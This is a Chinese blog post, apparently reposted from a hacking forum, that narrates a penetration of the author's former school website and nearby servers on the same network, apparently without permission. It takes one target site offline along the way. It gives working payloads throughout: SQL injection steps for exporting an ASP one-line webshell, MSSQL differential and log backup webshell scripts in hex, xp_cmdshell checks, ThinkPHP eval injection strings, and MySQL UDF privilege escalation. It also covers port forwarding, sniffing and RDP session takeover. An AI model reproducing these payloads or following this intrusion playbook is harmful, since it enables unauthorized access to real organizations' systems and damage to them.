美文网首页实战系列
渗透纪实之母校官网-part 1

渗透纪实之母校官网-part 1

作者: 池寒 | 来源:发表于2016-08-04 11:54 被阅读75次

    来源:http://bbs.ichunqiu.com/thread-9230-1-1.html?from=ch

    过程不算曲折,但还算漫长,知识点比较零碎,适合新手学习。

    那么,那时我还小,我们一起来回忆,那些年 我们年少时 蛋疼的折腾。

    离开母校那年,挚友摆了饭局送我,席间我和楷文(淡定哥)有个约定。。。

    时不我待,转眼一载,人事变迁,容颜沧桑,楷文兄,没我的日子你别来无恙。母校官网我还没搞定,你是否已经炸了她的墙角?

    由于种种原因,一直没有足够的时间。。。渗透过程七零八落

    来看下情况:

    母校主站:www.*****x.cn

    *信息收集

    初步刺探结果:

    某些数据库的调用做了防注入处理:

    [AppleScript]纯文本查看复制代码

    ?

    web服务:iis6.0ASP 支持aspx

    数据库:access

    网站后台:http://www.******cn/admin/login.asp

    手工找到数字型注入点:http://www.s*******.cn/news_detail.asp?id=954

    明显的入库查询 sqlinjection

    Sqlmap跑起来

    结果不太理想,爆破不出表和字段,看来管理员为了防止猜表做了表前缀

    对于access的注入,猜不到表,渗透戛然而止

    后来又在复习的时候看到了sql注入access导出txt等文件方法,不能导出asp  但是我们可以配合IIS6.0解析漏洞导出binghe.asp;binghe.txt之类的文件

    那么问题来了  , 路径哪里找?? 又不是phpmyadmin之类的可以报错文件,asp报错路径很少,但是我突然想到了conn.asp和5c%暴库

    5c%是没有成功,conn.asp还是可以的,直接访问数据库连接文件,数据库连接文件和数据调用的相对路径冲突导致报错,没错爆出了绝对路径:

    那么来sqlmap的–sql-shell用传说中的sql执行access导出txt、xls试试 配合iis6.0解析漏洞(PS:access已经过时,没研究过,小菜也不清楚access的sqlshell是不是可以执行,以前在后台遇到过可以执行sql的功能,譬如帝国的某些版本)

    逐一执行以下语句就可以导出一句话了

    [AppleScript]纯文本查看复制代码

    ?

    1

    2

    3

    4create table cmd(a varchar(50))

    insertintocmd(a)values('一句话木马')

    select*into[a]in'e:\web\webshellcc\1.asa;x.xls' 'excel4.0;'fromcmd

    drop table cmd

    更简单的

    [AppleScript]纯文本查看复制代码

    ?

    Select 'asp一句话木马'into[vote]in'e:\web\webshellcc\1.asa;x.xls' 'excel8.0;' fromvote

    Sqlshell执行无果 看来是我想多了  也许access注入点根本就不能取得真正的sqlshell

    转而看其网站后台,用burpsuite爆破没跑出来,, 失败

    小站,也看不出是什么cms,扫了目录,没有大的发现,有上传,但是需要登录,无法有效利用,有留言板,尝试XSS,无果,存在iis短文件名泄露漏洞,利用无果

    入侵脚步又戛然而止

    上次刺探主站没有什么收获  C段之,

    瞄到一个站 本市的**中学  久闻大名!

    注入一个,,sqlmap之

    [AppleScript]纯文本查看复制代码

    ?

    --current-user   --sql-shell--os-shell

    sa!!!!

    [AppleScript]纯文本查看复制代码

    ?

    selectcount(*)frommaster.dbo.sysobjectswherextype='x' andname='xp_cmdshell'

    返回”1″,说明存在存储过程xp_cmdshell

    试着执行cmd 不行啊老是超时  怪事

    os-shell尝试获得交互式cmd  SQLmap自动提权修复xp_cmdshell也是超时  不明白哪里出了问题

    手动在注入点执行也不行。。

    咋办呢?想想还是找目录写个shell

    用啊D列个目录  列了一会通过对比就找到了根目录

    D:\wwwroot\dxzx\

    跑了数据 解了md5  进了后台  想差异备份  但是手抖弄了个插配置文件一句话  但是忘了闭合asp标记

    后来网站挂了  差点吓哭  我真的不是故意的 。  无法复现  等恢复了再说吧

    个人对此表示万分歉意,对不起,已经致道歉信与修复方案至管理员邮箱

    后来想到自己是多么的愚蠢,为什么不log备份,增量备份导出shell呢???

    让我喝一杯82年的乐事冷静一下

    其实log备份导出Public权限都能导出,更何况我们是sa,如果遇到奇葩的磁盘权限,可以尝试图片上传目录

    #导出方法有以下几种方法:

    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

    差异备份的流程大概这样:

    [AppleScript]纯文本查看复制代码

    ?

    01

    02

    03

    04

    05

    06

    07

    08

    09

    10

    11

    121.完整备份一次(保存位置当然可以改)

    backup database 库名todisk='c:\ddd.bak';--

    2.创建表并插曲入数据

    create table [dbo].[dtest]([cmd] [image]);

    insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

    3.进行差异备份

    backup database 库名todisk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

    上面

    [AppleScript]纯文本查看复制代码

    ?

    0x3C25657865637574652872657175657374282261222929253E

    就是一句话木马的内容:

    [AppleScript]纯文本查看复制代码

    ?

    <%execute(request("a"))%>

    如下是整理的常见的差异备份代码,思路一样!

    ===================================================

    利用差异备份提高提高backupwebshell的成功率,减少文件大小

    步骤:

    [AppleScript]纯文本查看复制代码

    ?

    1

    2

    3

    4declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backup database @a todisk=@s

    create table [dbo].[xiaolu]([cmd] [image]);

    insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)

    declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backup database @atodisk=@s WITH DIFFERENTIAL,FORMAT

    0x77006F006B0061006F002E00620061006B00为wokao.bak

    0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>

    0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

    声明:方法不是我想的,我只是写工具,默认得到shell是

    [AppleScript]纯文本查看复制代码

    ?

    <%execute(request("a"))%>

    ===============================================================

    我发现上面代码,有时会无效,而直接用

    [AppleScript]纯文本查看复制代码

    ?

    1

    backup database 库名todisk='c:\ddd.bak' create table [dbo].[dtest]([cmd] [image]); insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)backup database 库名todisk='目标位置\d.asp'WITH DIFFERENTIAL,FORMAT;--

    却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 “‘”,就要把字符内容转为数值了!

    网上还有log增量备份的,我也把他记录一下

    =====================================================

    另一种log增量备份技术:

    例:在注入点用;联合执行

    [AppleScript]纯文本查看复制代码

    ?

    1

    2

    3

    4

    5

    6';alter database nullsetRECOVERY FULL--

    ';create table cmd(aimage)--

    ';backuplognulltodisk='f:\cmd'withinit--

    ';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292

    9253EDA)--

    ';backuplognulltodisk='备份路径'--

    PS:0x3C25657865637574652872657175657374282261222929253EDA 是一句话小马16进制转来的

    是为了防止单引号和asp标志的闭合问题,下面是几种可以尝试的写法:

    [AppleScript]纯文本查看复制代码

    ?

    1

    2

    3

    4

    5a).<%%25Execute(request("a"))%%25>

    b).<%Execute(request("a"))%>

    c).%><%execute request("a")%><%

    d).executerequest("a")

    e).<%25Execute(request("a"))%25>

    权限够大还可以直接调用systemobject的函数直接写:限于篇幅,大家可以自行整理

    还是没拿下  但是我的脚步不会停止

    C段一圈,很快拿下个脆弱的网站,账户名和密码都是网站简称、简单的提权了

    权限还可以

    内网 lcx转发过来

    不过,c段的内网,意义不大,丢弃。

    转了一会,又一个c段的,直接注入写shell,也是直接溢出提权

    又是内网。。运气不是很好啊。

    卡的让人想死  估计是个喳喳服务器,不看他了。。。

    拿的c段都是内网,不能arp劫持目标,嗅探不到。。。。

    思路转一下,来看旁注!拿目标的内网

    拿下一个与主站同外网ip的站点 有希望撕入内网。。。

    套路是注入进后台 截断拿shell

    来提权服务器  又是恶心的内网 老套路转发上去

    转发好 登录 看到这样子

    不管他,mstsc/admin,挤下去,,

    看了下,主站不在服务器上,运气好背啊,小小内网渗透一下

    密码是随机设定的,其实那个不是密码,说明存在ipc$空连接的漏洞,好古老啊,手工利用一下看看,失败了,我都没心情一个一个测试了

    读取一下管理密码,扫一下?

    没读出来管理员的。。为什么运气这么差  导出hash去破解我也懒得搞了

    嗅探开始,不久就有结果了哈哈

    但是都是一些无用的信息,现在这里嗅探着,过个十天半个月的再来看看

    内网存活:

    那么问题来了,我们可不可以在内网里面netfake?

    目标站的内网ip我们是通过在网站主页点一个校内应用得知的

    事实证明不行,,,先放在那里嗅探吧  。。。。。

    其实还有ip冲突劫持,不过劫持就没意思啦  我还是要拿到权限

    再来看看另外一个旁站

    下次看吧     背着书包上学堂。。。。。。。。。。。。

    额 放假了

    再来看看徐州市********育中心

    运气比较好,Thinkphp框架,命令执行直接拿下

    具体方法:

    [AppleScript]纯文本查看复制代码

    ?

    1

    2

    3index.php/module/aciton/param1/${@phpinfo()}

    index.php/module/action/param1/{${eval($_POST[s])}}

    来了来了提权

    翻到了root直接来udf但是用t00lsshell提权显示创建lib/plugin目录失败

    直接在菜刀里面右键创建目录成功

    上用户

    其实这里的udf 为了防止各种错误  我写过一个小工具 传上去运行,将 自动udf mof 和 lpk 三种方式提权,详情见

    [AppleScript]纯文本查看复制代码

    ?

    https://github.com/v5est0r/mysql-promoting-privileges

    lcx 连接上去看看

    翻下目录  没有目标站信息等

    码字很累,完结篇很快会写出来,更精彩哦

    未完待续。。。

    相关文章

      网友评论

        本文标题:渗透纪实之母校官网-part 1

        本文链接:https://www.haomeiwen.com/subject/mbpcsttx.html